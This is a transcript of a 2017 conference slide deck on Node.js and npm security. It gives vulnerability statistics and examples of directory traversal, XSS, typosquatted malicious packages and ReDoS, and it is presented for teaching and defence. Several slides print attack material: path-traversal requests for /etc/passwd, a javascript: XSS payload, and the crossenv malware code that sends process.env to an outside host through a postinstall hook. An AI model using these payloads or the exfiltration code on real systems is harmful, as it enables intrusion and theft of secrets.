Upgrade to Pro — share decks privately, control downloads, hide ads and more …

The State of Node.js Security, at Node.js Interactive 2017

Tim Kadlec
October 05, 2017

The State of Node.js Security, at Node.js Interactive 2017

The Node ecosystem is thriving. But the more popular an ecosystem, the more interesting it looks to attackers. Let's look at the current state of security in Node. We'll talk about some of the interesting security improvements in Node in the past year. Drawing on original research, we'll also look at the frequency of vulnerabilities in npm packages, which types of vulnerabilities are the most frequent and the roles that enterprises, package owners and package managers all play in keeping Node.js secure.

Tim Kadlec

October 05, 2017
Tweet

More Decks by Tim Kadlec

Other Decks in Technology

Transcript

  1. THE STATE OF
    NODE
    SECURITY
    Tim Kadlec @tkadlec

    View Slide

  2. View Slide

  3. IF YOU CONNECT IT TO THE
    INTERNET, SOMEONE WILL TRY
    TO HACK IT.
    Brian Krebs

    View Slide

  4. https:/
    /bit.ly/cloudpets

    View Slide

  5. bind_ip = 127.0.0.1

    View Slide

  6. SECURE BY
    DEFAULT

    View Slide

  7. View Slide

  8. View Slide

  9. THE ENEMY IS OUT THERE.
    Kim Crayton

    View Slide

  10. View Slide

  11. http:/
    /bit.ly/node-sou

    View Slide

  12. 156,000
    Package authors

    View Slide

  13. 9 MILLION
    Different Users

    View Slide

  14. https:/
    /bit.ly/npm-2fa

    View Slide

  15. 526
    Published Vulns in 2017

    (So Far)

    View Slide

  16. 66%
    High Severity
    32%
    Medium Severity
    2%
    Low Severity

    View Slide

  17. 1 Directory Traversal
    2 Resources over Insecure Protocol
    3 Cross-Site Scripting (XSS)
    4 Malicious Packages
    5 Regular Expression Denial of Service

    View Slide

  18. https:/
    /bit.ly/next-vuln

    View Slide

  19. /_next
    /static

    View Slide

  20. defineRoutes () {
    const routes = {
    /* ... */
    '/_next/:path+': async (req, res, params) => {
    const p = join(__dirname, '..', 'client', ...(params.path || []))
    await this.serveStatic(req, res, p)
    },
    '/static/:path+': async (req, res, params) => {
    const p = join(this.dir, 'static', ...(params.path || []))
    await this.serveStatic(req, res, p)
    }
    /* ... */
    }
    }

    View Slide

  21. defineRoutes () {
    const routes = {
    /* ... */
    '/_next/:path+': async (req, res, params) => {
    const p = join(__dirname, '..', 'client', ...(params.path || []))
    await this.serveStatic(req, res, p)
    },
    '/static/:path+': async (req, res, params) => {
    const p = join(this.dir, 'static', ...(params.path || []))
    await this.serveStatic(req, res, p)
    }
    /* ... */
    }
    }

    View Slide

  22. defineRoutes () {
    const routes = {
    /* ... */
    '/_next/:path+': async (req, res, params) => {
    const p = join(__dirname, '..', 'client', ...(params.path || []))
    await this.serveStatic(req, res, p)
    },
    '/static/:path+': async (req, res, params) => {
    const p = join(this.dir, 'static', ...(params.path || []))
    await this.serveStatic(req, res, p)
    }
    /* ... */
    }
    }

    View Slide

  23. export function serveStatic (req, res, path) {
    return new Promise((resolve, reject) => {
    send(req, path)
    .on('directory', () => {
    err.code = 'ENOENT'
    reject(err)
    })
    .on('error', reject)
    .pipe(res)
    .on('finish', resolve)
    })
    }

    View Slide

  24. GET /_next/../../../../../../../../../etc/passwd HTTP/1.1
    GET /_next\..\..\..\..\..\..\..\..\..\etc\passwd HTTP/1.1

    View Slide

  25. isServeableUrl (path) {
    const resolved = resolve(path)
    if (
    resolved.indexOf(join(this.dir, this.dist) + sep) !== 0
    &&
    resolved.indexOf(join(this.dir, 'static') + sep) !== 0
    ) {
    // Seems like the user is trying to traverse the
    filesystem.
    return false
    }
    return true
    }

    View Slide

  26. https:/
    /bit.ly/next-fix

    View Slide

  27. 1 Directory Traversal
    2 Resources over Insecure Protocol

    View Slide

  28. curl -ocurl-7.34.0.tar.gz
    http://curl.haxx.se/download/curl-7.34.0.tar.gz

    View Slide

  29. 1 Directory Traversal
    2 Resources over Insecure Protocol
    3 Cross-Site Scripting (XSS)

    View Slide

  30. http:/
    /bit.ly/angular-xss

    View Slide

  31. var uriAttrs =
    toMap("background,cite,href,longdesc,src,xlink:href");

    View Slide



  32. href="javascript:alert(-1)">

    View Slide

  33. 1 Directory Traversal
    2 Resources over Insecure Protocol
    3 Cross-Site Scripting (XSS)
    4 Malicious Packages

    View Slide

  34. https:/
    /bit.ly/malicious-npm

    View Slide

  35. TYPOSQUATTING

    View Slide

  36. View Slide

  37. {
    "name": "crossenv",
    "version": "6.1.1",
    "description": "Run scripts that set and use environment variables across
    platforms",
    "main": "index.js",
    "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1",
    "postinstall": "node package-setup.js"
    },
    "author": "Kent C. Dodds (http://kentcdodds.com/)",
    "license": "ISC",
    "dependencies": {
    "cross-env": "^5.0.1"
    }
    }

    View Slide

  38. {
    "name": "crossenv",
    "version": "6.1.1",
    "description": "Run scripts that set and use environment variables across
    platforms",
    "main": "index.js",
    "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1",
    "postinstall": "node package-setup.js"
    },
    "author": "Kent C. Dodds (http://kentcdodds.com/)",
    "license": "ISC",
    "dependencies": {
    "cross-env": "^5.0.1"
    }
    }

    View Slide

  39. const host = 'npm.hacktask.net';
    const env = JSON.stringify(process.env);
    const data = new Buffer(env).toString('base64');
    const postData = querystring.stringify({ data });
    const options = {
    hostname: host,
    port: 80,
    path: '/log',
    method: 'POST',
    headers: {
    'Content-Type': 'application/x-www-form-urlencoded',
    'Content-Length': Buffer.byteLength(postData);
    }
    };
    const req = http.request(options);
    req.write(postData);
    req.end();

    View Slide

  40. const host = 'npm.hacktask.net';
    const env = JSON.stringify(process.env);
    const data = new Buffer(env).toString('base64');
    const postData = querystring.stringify({ data });
    const options = {
    hostname: host,
    port: 80,
    path: '/log',
    method: 'POST',
    headers: {
    'Content-Type': 'application/x-www-form-urlencoded',
    'Content-Length': Buffer.byteLength(postData);
    }
    };
    const req = http.request(options);
    req.write(postData);
    req.end();

    View Slide

  41. const host = 'npm.hacktask.net';
    const env = JSON.stringify(process.env);
    const data = new Buffer(env).toString('base64');
    const postData = querystring.stringify({ data });
    const options = {
    hostname: host,
    port: 80,
    path: '/log',
    method: 'POST',
    headers: {
    'Content-Type': 'application/x-www-form-urlencoded',
    'Content-Length': Buffer.byteLength(postData);
    }
    };
    const req = http.request(options);
    req.write(postData);
    req.end();

    View Slide

  42. https:/
    /bit.ly/npm-crossenv

    View Slide

  43. 1 Directory Traversal
    2 Resources over Insecure Protocol
    3 Cross-Site Scripting (XSS)
    4 Malicious Packages
    5 Regular Expression Denial of Service

    View Slide

  44. var regex = /A(B|C+)+D/;

    View Slide

  45. var regex = /A(B|C+)+D/;
    A

    View Slide

  46. var regex = /A(B|C+)+D/;
    (B|C+)

    View Slide

  47. var regex = /A(B|C+)+D/;
    +

    View Slide

  48. var regex = /A(B|C+)+D/;
    D

    View Slide

  49. var regex = /A(B|C+)+D/;
    ABBD
    ABCCCCD
    ABCBCCCD
    ACCCCCD

    View Slide

  50. View Slide

  51. View Slide

  52. View Slide

  53. View Slide

  54. ACCCX
    CCC
    CC+C
    C+CC
    C+C+C
    var regex = /A(B|C+)+D/;

    View Slide

  55. String Number of C’s Number of Steps
    ACCCX 3 38
    ACCCCX 4 71
    ACCCCCX 5 136
    ACCCCCCCCCCCCCCX 14 65,553

    View Slide

  56. http:/
    /bit.ly/safe-regex

    View Slide

  57. https:/
    /bit.ly/redos-help

    View Slide

  58. Time
    Risk

    View Slide

  59. Vulnerability
    discovered
    Time
    Risk

    View Slide

  60. Vulnerability
    discovered
    Vulnerability
    announced
    Time
    Risk

    View Slide

  61. Vulnerability
    discovered
    Vulnerability
    announced
    Vulnerability
    patched
    Time
    Risk

    View Slide

  62. Vulnerability
    discovered
    Vulnerability
    announced
    Vulnerability
    patched
    Users begin
    patching
    Time
    Risk

    View Slide

  63. 80%
    No Public Facing Disclosure Policy

    View Slide

  64. https:/
    /bit.ly/security-text

    View Slide

  65. 70%
    Release Notes

    View Slide

  66. 30%
    Deprecate the Version

    View Slide

  67. 3%
    Inform a Vulnerability Service

    View Slide

  68. 15%
    Say They Don’t Bump Dependency Versions

    View Slide

  69. SILVER LINING

    View Slide

  70. YOU

    View Slide

  71. 526
    Published Vulns in 2017

    (So Far)

    View Slide

  72. 142
    Different People & Organizations

    View Slide

  73. https:/
    /bit.ly/malicious-npm

    View Slide

  74. NOT GREAT

    View Slide

  75. NOT GREAT
    BUT FIXABLE

    View Slide

  76. THANK YOU
    Tim Kadlec @tkadlec

    View Slide